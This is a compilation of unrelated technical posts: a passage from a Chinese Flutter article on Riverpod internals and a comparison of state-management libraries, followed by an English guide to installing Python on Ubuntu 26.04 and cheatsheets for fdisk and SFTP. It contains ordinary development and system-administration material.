Consumer 本身很简单,就是把 builder 函数包装成一个 ConsumerWidget。真正的魔法在 ConsumerStatefulElement 中——它在 build 时创建 WidgetRef,通过 WidgetRef.watch 建立订阅,Provider 变化时通过订阅回调触发 setState

整个链路:

sequenceDiagram
    participant CW as ConsumerWidget
    participant CSE as ConsumerStatefulElement
    participant WR as WidgetRef
    participant PC as ProviderContainer
    participant PE as ProviderElement
    participant Sched as Scheduler

    CW->>CSE: build(context)
    CSE->>WR: 创建 WidgetRef
    CW->>WR: ref.watch(counterProvider)
    WR->>PC: container.listen(counterProvider)
    PC->>PE: mount + build(如果未初始化)
    PE-->>WR: 返回当前值 + 创建 Subscription
    WR-->>CW: 返回值,Widget 构建完成

    Note over PE: counter 值变化
    PE->>Sched: scheduleProviderRefresh
    Sched->>CSE: _flutterVsync → setState
    CSE->>CW: 重新 build
    CW->>WR: ref.watch(counterProvider)
    WR->>PE: flush + read
    PE-->>WR: 返回新值

3. TickerMode 暂停优化

Riverpod 有一个很贴心的优化:当 Widget 不可见时(TickerMode.of(context) 为 false),自动暂停所有订阅。

这意味着:如果你有一个 Tab 页面,切到其他 Tab 时,当前 Tab 的 Provider 订阅会被暂停。Provider 不会被销毁(状态保留),但也不会触发不必要的重建。切回来时自动恢复。

这个优化对性能的影响在复杂应用中是很明显的。你不需要写任何代码,框架自动帮你做了。


三、实战心法:从源码中提炼的使用技巧

看完源码,很多"最佳实践"就不再是死记硬背的规则,而是有源码支撑的理解。


1. watch 放在 build 的最顶层
---->[✅ 正确做法]----
@override
Widget build(BuildContext context, WidgetRef ref) {
  final count = ref.watch(counterProvider);  // 顶层 watch
  final user = ref.watch(userProvider);      // 顶层 watch

  return Column(
    children: [
      Text('$count'),
      Text(user.name),
    ],
  );
}

为什么?因为 ref.watch 建立的订阅在每次 build 时会被重新创建(旧订阅被清理)。如果你把 watch 放在条件分支里,某些 build 可能不会执行到那个 watch,导致订阅丢失,下次值变化时不会触发重建。

从源码层面看,这和 Provider 的 _performBuild_runOnDispose 清理旧订阅是同一个机制。


2. 事件处理用 read,不用 watch
---->[✅ 正确做法]----
ElevatedButton(
  onPressed: () {
    ref.read(counterProvider.notifier).increment();  // 事件中用 read
  },
  child: Text('加一'),
)

read 不建立订阅,只是一次性读取。在事件处理中你不需要"监听变化",你只需要"拿到当前值然后操作"。用 watch 反而会建立不必要的订阅。


3. 副作用用 listen,不用 watch
---->[✅ 正确做法]----
@override
Widget build(BuildContext context, WidgetRef ref) {
  ref.listen(authProvider, (prev, next) {
    if (!next.isAuthenticated) {
      Navigator.of(context).pushReplacementNamed('/login');
    }
  });

  return /* ... */;
}

listen 只触发回调,不触发 Widget 重建。弹对话框、导航、显示 SnackBar 这些副作用,用 listenwatch 更合适。watch 会导致整个 Widget 重建,但你只是想执行一个副作用,不需要重建 UI。


4. select 优化重建粒度
---->[✅ 优化前]----
// 用户的任何字段变化都会触发重建
final user = ref.watch(userProvider);
return Text(user.name);

---->[✅ 优化后]----
// 只有 name 变化才触发重建
final name = ref.watch(userProvider.select((u) => u.name));
return Text(name);

从源码层面看,select 创建了一个 _ProviderSelector,它在原始 Provider 变化时先执行 selector 函数,然后用 == 比较新旧结果。只有结果不同才通知 Widget。

在列表页面中,这个优化的效果很明显。如果你 watch 了一个包含 100 个 todo 的列表,任何一个 todo 的变化都会导致整个列表重建。用 select 可以让每个 todo item 只在自己的数据变化时重建。


5. autoDispose + keepAlive 的组合拳
---->[示例代码]----
final searchResultProvider = FutureProvider.autoDispose
    .family<List<Item>, String>((ref, query) async {
  // 数据加载完成后,保持缓存
  final link = ref.keepAlive();

  // 30 秒后允许销毁
  final timer = Timer(Duration(seconds: 30), link.close);
  ref.onDispose(timer.cancel);

  return api.search(query);
});

这个模式实现了"带过期时间的缓存":数据加载完成后通过 keepAlive 阻止销毁,30 秒后释放 link 允许销毁。如果 30 秒内用户再次访问,直接使用缓存;超过 30 秒,下次访问时重新加载。

从源码层面看,keepAlive_keepAliveLinks 列表里加了一个 link,_performDispose 检查这个列表是否为空来决定是否销毁。link.close 从列表中移除 link,如果列表空了就调用 mayNeedDispose


6. Override 做依赖注入
---->[示例代码]----
// 定义抽象接口
final httpClientProvider = Provider<HttpClient>((ref) {
  return DioHttpClient();  // 默认实现
});

// 测试中替换
ProviderScope(
  overrides: [
    httpClientProvider.overrideWithValue(MockHttpClient()),
  ],
  child: MyApp(),
)

这比 GetX 的 Get.put 更安全:override 的作用域是明确的(只影响当前 ProviderScope 及其子树),不会污染全局状态。测试之间互不影响。


7. 用 Provider 做派生状态
---->[示例代码]----
final todosProvider = NotifierProvider<TodoList, List<Todo>>(TodoList.new);

final completedTodosProvider = Provider<List<Todo>>((ref) {
  final todos = ref.watch(todosProvider);
  return todos.where((t) => t.isCompleted).toList();
});

final incompleteTodosProvider = Provider<List<Todo>>((ref) {
  final todos = ref.watch(todosProvider);
  return todos.where((t) => !t.isCompleted).toList();
});

completedTodosProviderincompleteTodosProvider 是从 todosProvider 派生出来的。todosProvider 变化时,两个派生 Provider 自动重新计算。如果计算结果没变(比如你修改了一个已完成的 todo 的标题),依赖它们的 Widget 不会重建。

这是函数式 Provider 最典型的用法:把"计算逻辑"从 Widget 层提取到 Provider 层,让框架帮你管理缓存和更新。


四、终极对比:四大方案的源码级总结

四篇文章写下来,是时候做一个完整的对比了。这不是"哪个最好"的排名,而是从源码层面看它们各自的设计选择和代价。


graph TD
    subgraph "设计哲学"
        G["① GetX<br/>快意江湖<br/>全局字典"]
        B["② Bloc<br/>大道至简<br/>事件驱动状态机"]
        P["③ Provider<br/>顺水行舟<br/>封装 InheritedWidget"]
        R["④ Riverpod<br/>源远流长<br/>独立容器树"]
    end

    subgraph "和 Flutter 的关系"
        G --> GF["绕过框架<br/>全局变量"]
        B --> BF["桥接集成<br/>用 provider 包桥接"]
        P --> PF["深度集成<br/>用框架的机制"]
        R --> RF["平行系统<br/>自己的容器树"]
    end

    style G fill:#fdf,stroke:#333
    style B fill:#ffd,stroke:#333
    style P fill:#9f9,stroke:#333
    style R fill:#dff,stroke:#333
维度 GetX Bloc Provider Riverpod
底层机制 全局静态 Map Stream + provider 包 InheritedWidget 独立容器树
状态存储 全局字典 Bloc 实例(Widget 树上) Widget 树上 ProviderContainer
依赖追踪 隐式 proxy,运行时收集 无内置(手动监听 Stream) 显式 of(context) 显式 ref.watch
作用域 无,全局唯一 Widget 树天然支持 Widget 树天然支持 ProviderScope 嵌套覆盖
精准重建 无(Obx 整体重建) BlocSelector / buildWhen context.select ref.watch + select
生命周期 SmartManagement(路由绑定) 和 Widget 绑定 和 Widget 绑定 autoDispose + keepAlive + pause/resume
可追溯性 Transition 记录事件+状态 无内置
并发控制 EventTransformer 四种策略 无内置
异步支持 无内置 自定义状态类 FutureProvider(有限) AsyncValue(完整)
测试 手动 Get.put bloc_test 包 需要 Widget 环境 Override 替换,纯 Dart
依赖 context ❌ 全局访问 ✅ 通过 provider ✅ 必须 ❌ Ref 独立
脱离 Flutter ✅ bloc 核心包纯 Dart ✅ 纯 Dart 可用
DevTools 不可见 Widget Inspector 可见 Widget Inspector 可见 专用 DevTools
源码量 ~数千行 ~500 行 ~1000 行 ~数千行
学习曲线 中-高

四条路,四种哲学

GetX 像路边摊——什么都能做,灵活但没规矩。全局字典一把梭,快是快,但项目大了容易失控。

Bloc 像标准化连锁店——流程固定、品控稳定、可复制性强。事件驱动的状态机让每一次状态变更都有迹可循,但样板代码是实实在在的成本。

Provider 像自家厨房——用的是家里现成的锅碗瓢盆(InheritedWidget),不用额外添置设备。学了 Provider 就是在学 Flutter 本身,但厨房的大小受限于房子(context)。

Riverpod 像米其林餐厅——食材供应链精密复杂,出品质量高,但运营成本也高。独立容器树、autoDispose、AsyncValue、Override——能力边界最广,但学习曲线也最陡。

怎么选
  • 刚入门 Flutter,项目不大 → Provider 或 Cubit。贴近框架,学习成本低。
  • 中等规模,需要可追溯性和并发控制 → Bloc。事件系统和 BlocObserver 在团队协作中很有价值。
  • 大型项目,需要复杂的依赖管理和测试 → Riverpod。容器树、autoDispose、Override 在复杂场景下优势明显。
  • 快速原型,不在乎架构 → GetX 或 Cubit。但要做好后期迁移的心理准备。

没有最好的方案,只有最适合当前阶段的方案。


五、Riverpod 的天花板在哪

公道地说,Riverpod 也不是完美的。


1. 概念负担

Provider、NotifierProvider、FutureProvider、StreamProvider、Family、autoDispose、select、Override、ProviderScope、Ref、WidgetRef……概念确实多。对于一个只想"把数据从 A 传到 B"的新手来说,这个学习成本是实实在在的。


2. 代码生成的依赖

Riverpod 2.0+ 推荐使用 @riverpod 注解 + 代码生成。这简化了 Provider 的定义,但也引入了对 build_runner 的依赖。代码生成在大型项目中的编译速度是一个痛点。


3. 调试的间接性

状态不在 Widget 树上,Widget Inspector 看不到。虽然有 Riverpod DevTools,但它是一个独立的工具,不如 Widget Inspector 那样和 IDE 深度集成。


4. 过度设计的风险

Riverpod 的能力很强,但也容易过度设计。一个简单的计数器应用,用 setState 三行代码搞定的事,用 Riverpod 可能要定义 Provider、Notifier、ProviderScope……杀鸡用牛刀。

适合的时期,学适合的东西,也是非常重要的。如果你的项目还在原型阶段,不需要作用域隔离、不需要精准重建、不需要复杂的测试,那 Riverpod 的很多能力你用不上。等项目长大了再引入也不迟。


碎碎念

四篇文章(GetX → Bloc → Provider → Riverpod)写下来,最大的感受是:它们解决的是同一个问题,但走的是完全不同的路。

GetX 用一本全局字典解决一切,简单粗暴,快意江湖。Bloc 用事件驱动的状态机,严谨可控,大道至简。Provider 顺着 Flutter 的水流走,用框架自己的 InheritedWidget,顺水行舟。Riverpod 在 Flutter 旁边挖了一条新河,独立容器树,源远流长。

四条路都能到达目的地。选哪条,取决于你的项目有多大、团队有多少人、你愿意付出多少学习成本。

从源码质量来看,四个方案都有值得学习的地方:GetX 的 proxy + save/restore 自动依赖收集确实精巧;Bloc 的接口隔离和 EventTransformer 策略模式是教科书级设计;Provider 的 Delegate 模式和 aspect 精准通知把 InheritedWidget 的能力发挥到了极致;Riverpod 的容器树、调度器、生命周期管理(pause/resume/dispose)是工程质量最高的实现。

但我也理解为什么有人觉得"选择太多了"。不是每个项目都需要容器树、事件追溯、精准重建。就像不是每个人都需要一辆越野车——如果你只在城市里开,一辆轿车就够了。但如果你要去越野,轿车就不行了。关键是知道自己要去哪里。

说到底,技术选型是一个权衡。了解了源码之后,这个权衡你自己就能做了。不需要听别人说"XX 好"或者"XX 不好"——自己去看源码,自己去验证,自己去判断。

人云亦云是技术成长最大的敌人。


我是张风捷特烈,如果你对 Flutter 框架的源码分析感兴趣,欢迎关注。「状态管理大乱斗」系列到这里来到第六篇,后续还会有其他状态管理分析,敬请期待。GetX 的全局字典、Bloc 的事件状态机、Provider 的 InheritedWidget 封装、Riverpod 的独立容器树——四条路,四种哲学,希望对你有帮助。

How to Install Python on Ubuntu 26.04

When you start a Python project on Ubuntu 26.04, you already have a Python interpreter available. The usual setup work is installing pip, adding the venv module, or installing a separate Python version for a project that needs something other than Ubuntu’s default Python.

This guide explains how to install Python tooling on Ubuntu 26.04, how to use the deadsnakes PPA for alternate Python versions, and how to build Python from source when you need a specific upstream release.

Ubuntu 26.04 Default Python Version

Ubuntu 26.04 ships with Python 3.14 as the default Python 3 interpreter. To check the version on your system, run:

Terminal
python3 --version
output
Python 3.14.1

The exact patch version may change as Ubuntu publishes updates, but the default interpreter remains Python 3.14. Most users should keep this interpreter in place and use virtual environments for project packages.

Do not replace the /usr/bin/python3 interpreter. Ubuntu tools expect the distribution-provided Python version. If a project needs a different Python release, install it alongside the default interpreter and call it by its versioned command, such as python3.13 or python3.15.

Quick Reference

Task Command
Check Ubuntu’s default Python version python3 --version
Install pip and venv for the default Python sudo apt install python3-pip python3-venv
Create a virtual environment with the default Python python3 -m venv myproject
Add deadsnakes PPA sudo add-apt-repository ppa:deadsnakes/ppa
Install Python 3.13 from PPA sudo apt install python3.13
Install Python 3.15 preview from PPA sudo apt install python3.15
Install venv module for PPA Python sudo apt install python3.13-venv
Create a virtual environment with PPA Python python3.13 -m venv myproject
Activate virtual environment source myproject/bin/activate
Deactivate virtual environment deactivate
Build from source ./configure --enable-optimizations && make -j $(nproc)
Install source build safely sudo make altinstall

Installing pip and venv for the Default Python

If Ubuntu’s default Python 3.14 is enough for your work, install pip and the virtual environment module from the Ubuntu repositories.

First, update the package index:

Terminal
sudo apt update

Install pip and the virtual environment module:

Terminal
sudo apt install python3-pip python3-venv

Verify the installed commands:

Terminal
python3 --version
pip3 --version

On Ubuntu 26.04, python3 points to Python 3.14. Use a virtual environment for project dependencies instead of installing packages into the system Python environment.

Create a virtual environment with the default Python:

Terminal
python3 -m venv myproject

Activate it:

Terminal
source myproject/bin/activate

Inside the environment, python and pip point to the isolated project environment:

Terminal
python --version
python -m pip --version

When you are done working in the project, deactivate the environment:

Terminal
deactivate

Installing Python from the Deadsnakes PPA

The deadsnakes PPA provides alternate Python versions packaged for Ubuntu. It now supports Ubuntu 26.04, including packages for Python versions that Ubuntu does not provide as the default interpreter.

Deadsnakes does not provide Python 3.14 for Ubuntu 26.04 because Ubuntu already includes Python 3.14. Use the PPA when you need another interpreter, such as Python 3.13 or the Python 3.15 preview builds.

  1. Install the prerequisites and add the PPA:

    Terminal
    sudo apt update
    sudo apt install software-properties-common
    sudo add-apt-repository ppa:deadsnakes/ppa

    Press Enter when prompted to confirm.

  2. Install Python 3.13:

    Terminal
    sudo apt update
    sudo apt install python3.13

    To install the Python 3.15 preview package instead, replace python3.13 with python3.15:

    Terminal
    sudo apt install python3.15

    Python 3.15 is still a preview release, so use it for testing rather than production workloads.

  3. Verify the installation:

    Terminal
    python3.13 --version

    The command prints the installed Python 3.13 patch release. You can also confirm the binary location:

    Terminal
    which python3.13
  4. Install the venv module for the same interpreter:

    Terminal
    sudo apt install python3.13-venv

    If you installed Python 3.15, use:

    Terminal
    sudo apt install python3.15-venv
  5. Create a virtual environment and use pip inside it:

    Terminal
    python3.13 -m venv myproject
    source myproject/bin/activate
    python -m pip install --upgrade pip
Info
The system default python3 still points to Python 3.14. To use a PPA version, run python3.13, python3.15, or another explicit version command.

Installing Python from Source

Compiling Python from source allows you to install any version and customize the build options. However, you will not be able to manage the installation through the apt package manager.

The following steps show how to compile Python 3.14.4. If you are installing a different version, replace the version number in the commands below.

  1. Install the libraries and dependencies required to build Python:

    Terminal
    sudo apt update
    sudo apt install build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev wget libbz2-dev liblzma-dev
  2. Download the source code from the Python download page using wget :

    Terminal
    wget https://www.python.org/ftp/python/3.14.4/Python-3.14.4.tgz
  3. Extract the archive :

    Terminal
    tar -xf Python-3.14.4.tgz
  4. Navigate to the source directory and run the configure script:

    Terminal
    cd Python-3.14.4
    ./configure --enable-optimizations

    The --enable-optimizations flag runs profile-guided optimization tests, which makes the build slower but produces a faster Python binary.

  5. Start the build process:

    Terminal
    make -j $(nproc)

    The -j $(nproc) option uses all available CPU cores for a faster build.

  6. Install the Python binaries using altinstall. Do not use install, as it overwrites the system python3 binary and can break system tools that depend on it:

    Terminal
    sudo make altinstall
  7. Verify the installation:

    Terminal
    python3.14 --version
    output
    Python 3.14.4

Setting Up a Virtual Environment

After installing a new Python version, create a virtual environment for your project to keep dependencies isolated:

Terminal
python3.13 -m venv myproject

Activate the virtual environment:

Terminal
source myproject/bin/activate

Your shell prompt will change to show the environment name. Inside the virtual environment, python and pip point to the version you used to create it.

For a source-built Python 3.14 installation, use the versioned command:

Terminal
python3.14 -m venv myproject

To deactivate the virtual environment:

Terminal
deactivate

For more details, see our guide on how to create Python virtual environments .

Optional: Uninstalling the PPA Version

To remove the PPA version:

Terminal
sudo apt remove python3.13 python3.13-venv

To remove the PPA itself:

Terminal
sudo add-apt-repository --remove ppa:deadsnakes/ppa

Troubleshooting

python3 already exists after installation
This is expected. Ubuntu 26.04 includes Python 3.14 by default, so the default setup usually adds missing tools such as pip3 or venv.

pip reports an externally managed environment
Ubuntu protects system-managed Python packages. Create a virtual environment with python3 -m venv myproject, activate it, and install packages with python -m pip install package-name inside the environment.

No module named venv
Install the matching venv package. For Ubuntu’s default Python, run sudo apt install python3-venv. For Python 3.13 from the PPA, run sudo apt install python3.13-venv.

Unable to locate package python3.13 or python3.15
Run sudo apt update after adding the deadsnakes PPA. If the package is still unavailable, check that the PPA supports your Ubuntu release and CPU architecture.

python3 still shows Python 3.14
The python3 command should continue to use Ubuntu’s default interpreter. Run the alternate version with its versioned command, such as python3.13 or python3.15.

Python 3.15 shows an alpha version
Python 3.15 is still a preview release. Use it for testing compatibility, and use Python 3.14 or another stable release for production projects.

FAQ

Should I use the PPA or build from source?
Use the Ubuntu packages if Python 3.14 is enough. Use the deadsnakes PPA when you need an alternate packaged interpreter such as Python 3.13 or a Python 3.15 preview. Build from source only if you need a specific upstream patch release or a custom build configuration.

Will installing a new Python version break my system?
No. Both methods install the new version alongside the system Python 3.14. The system python3 command is not affected. You access the alternate version with python3.13, python3.15, or another explicit version command.

How do I make the new Python version the default?
You can use update-alternatives to configure it, but this is not recommended. Many Ubuntu system tools depend on the default python3 being the version that shipped with the OS. Use virtual environments instead.

How do I install pip for the new Python version?
The recommended approach is to use a virtual environment. Install the matching venv package, create a venv, activate it, and use python -m pip inside the environment.

What is the difference between install and altinstall when building from source?
altinstall installs a versioned binary such as python3.14 without creating a python3 symlink. install creates the symlink, which overwrites the system Python and can break Ubuntu system tools.

Does Ubuntu 26.04 include pip by default?
Ubuntu 26.04 includes Python 3.14 but does not include pip in the base installation. Install it with sudo apt install python3-pip. For alternate Python versions, use python -m pip inside a virtual environment.

Conclusion

Stick with Ubuntu’s Python 3.14 plus python3-pip and python3-venv for most projects. Reach for the deadsnakes PPA when a project pins to 3.13 or wants to test the 3.15 preview, and build from source only for a specific upstream patch.

For more on Python package management, see our guide on how to use pip .

fdisk Cheatsheet

Basic Usage

Open a disk or print partition tables.

Command Description
sudo fdisk /dev/sdX Open a disk in interactive mode
sudo fdisk -l List all detected partition tables
sudo fdisk -l /dev/sdX List one disk partition table
sudo fdisk --help Show command-line options
sudo fdisk --version Show fdisk version

List Disks

Identify the correct device before changing partitions.

Command Description
lsblk Show disks, partitions, and mount points
lsblk -d -o NAME,SIZE,MODEL Show whole disks only
lsblk -f Show filesystems and UUIDs
sudo fdisk -l Show partition tables with disk labels
sudo fdisk -x /dev/sdX Show detailed partition information

Interactive Commands

Commands used inside the fdisk prompt.

Command Description
m Show help menu
p Print the current partition table
n Create a new partition
d Delete a partition
t Change partition type
l List available partition types
w Write changes and exit
q Quit without saving

Partition Tables

Create a new disk label before adding partitions on a blank disk.

Command Description
g Create a new GPT partition table
o Create a new MBR (DOS) partition table
p Review the current table before saving
w Write the new table to disk
q Exit without writing changes

Create Partitions

Common answers while creating a new partition with n.

Input Description
n Start a new partition
Enter Accept the default partition number
Enter Accept the default first sector
+1G Create a 1 GiB partition
+100G Create a 100 GiB partition
Enter Use the rest of the available disk space
p Print the proposed layout
w Save the changes

Partition Types

Set the partition type when the partition is not a regular Linux data partition.

Input Description
l List partition types
t Change a partition type
Linux filesystem Regular Linux data partition (GPT)
Linux swap Swap partition (GPT)
EFI System EFI System partition (GPT)
Linux LVM LVM physical volume (GPT)
Linux RAID Linux RAID member (GPT)
83 Regular Linux partition (MBR)
82 Swap partition (MBR)
8e LVM partition (MBR)

Review and Save

Check the in-memory table before writing it to disk.

Command Description
p Print the pending partition table
v Verify the partition table
i Show details about a partition
w Write changes to disk and exit
q Quit without saving changes

Format and Mount

After writing the partition table, create a filesystem and mount the partition.

Command Description
sudo mkfs.ext4 /dev/sdX1 Format a partition as ext4
sudo mkswap /dev/sdX2 Create swap on a partition
sudo swapon /dev/sdX2 Enable swap
sudo mkdir -p /mnt/data Create a mount point
sudo mount /dev/sdX1 /mnt/data Mount the partition
lsblk -f Confirm filesystem and mount details

Safety Checks

Commands that help avoid editing the wrong disk.

Command Description
lsblk -d -o NAME,SIZE,MODEL Compare disk names, sizes, and models
lsblk -f Check existing filesystems and mount points
sudo fdisk -l /dev/sdX Review the current table before editing
mount | grep /dev/sdX Check whether partitions are mounted
sudo umount /dev/sdX1 Unmount a partition before changing it
sudo partprobe /dev/sdX Ask the kernel to re-read the table

Related Tools

References for the full workflow around disks and partitions.

Tool Description
mount Mount and unmount filesystems
mkfs.ext4 Format a partition with a filesystem
df Check filesystem disk usage
fsck Check and repair filesystems

SFTP Cheatsheet

Connect and Authenticate

Open an SFTP session against a remote host.

Command Description
sftp user@hostname Connect to remote server
sftp user@192.168.1.10 Connect by IP
sftp -P 2222 user@hostname Connect to a custom SSH port
sftp -i ~/.ssh/id_ed25519 user@hostname Connect with a specific key
sftp -b commands.txt user@hostname Run commands from a batch file
quit Quit session
bye Quit session (alias for quit)

Local and Remote Paths

Navigate directories on both sides of the session.

Command Description
pwd Show remote working directory
lpwd Show local working directory
cd /remote/path Change remote directory
lcd /local/path Change local directory
ls List remote files
lls List local files
ls -la Long listing of remote files

Download Files

Pull files from the remote server to the local system.

Command Description
get file.txt Download one file
get remote.txt local.txt Download and rename locally
get -r remote_dir Download a directory recursively
get -P file.txt Preserve file permissions and timestamps
mget *.log Download multiple files matching a pattern
reget large.iso Resume an interrupted download

Upload Files

Push local files to the remote server.

Command Description
put file.txt Upload one file
put local.txt remote.txt Upload with a remote name
put -r local_dir Upload a directory recursively
put -P file.txt Preserve permissions and timestamps
mput *.txt Upload multiple files
reput large.iso Resume an interrupted upload

Remote File Management

Manage files and directories on the SFTP server.

Command Description
mkdir dirname Create remote directory
rmdir dirname Remove empty remote directory
rm file.txt Delete remote file
rename old.txt new.txt Rename remote file
ln source link Create a hard link on the remote
ln -s source link Create a symbolic link on the remote
df -h Show remote filesystem usage

Permissions and Ownership

Adjust permissions and ownership on remote files.

Command Description
chmod 644 file.txt Change remote file mode
chown 1000 file.txt Change remote owner by UID
chgrp 1000 file.txt Change remote group by GID
umask 022 Set default permission mask

Session Helpers

Inspect and control the active session.

Command Description
!command Run a local shell command
! Drop into a local shell
version Show SFTP protocol version
progress Toggle transfer progress meter
help or ? List available SFTP commands

Non-Interactive and Scripting

Use SFTP from scripts and automated jobs.

Command Description
sftp -b script.txt user@host Run a batch file of commands
sftp -q user@host Quiet mode (suppress banner and progress)
sftp -o IdentityFile=key user@host Pass any ssh_config option
echo "get file.txt" | sftp -b - user@host Pipe commands via stdin

Related Tools

Other ways to move files between systems.

Tool Description
scp Secure copy over SSH
rsync Efficient sync and incremental transfer
ssh Underlying secure shell protocol
ftp Legacy unencrypted file transfer
❌